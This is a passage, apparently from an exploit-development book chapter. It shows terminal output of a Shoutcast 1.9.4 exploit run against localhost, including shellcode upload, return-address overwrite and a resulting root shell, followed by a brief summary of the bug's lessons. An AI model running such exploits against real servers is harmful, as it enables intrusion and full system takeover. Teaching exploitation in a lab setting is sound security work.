[root@localhost Chapter10]# ./exp3 -h localhost -t 1
[!] Shoutcast <= 1.9.4 exploit by crash-x
[!] Connecting to target... done!
[!] Version: SHOUTcast Distributed Network Audio Server/Linux v1.9.4
[!] Targeting: Shoutcast 1.9.4 all Linux distros
[+] Uploading shellcode[131] to [0xbffffff7]
[+] Uploaded shellcode succesful
[!] Writing retaddr [0xbfffff74] to retloc [0x806493c]
[+] Wooohooo we got a shell!
Linux localhost 2.6.26.8.tex1 #1 SMP Wed Jun 16 23:24:12 GMT 2010 i686 GNU/Linux
uid=0(root) gid=0(root) groups=0(root)
: command not found
whoami;
root
exit;
[root@localhost Chapter10]#
```

In summary, the error in the sample program was not easy to exploit. However, it ideally shows common problems: the limited length of queries and filtering of special characters. Due to this fact, we should not have any difficulties in writing the exploits for other similar vulnerabilities.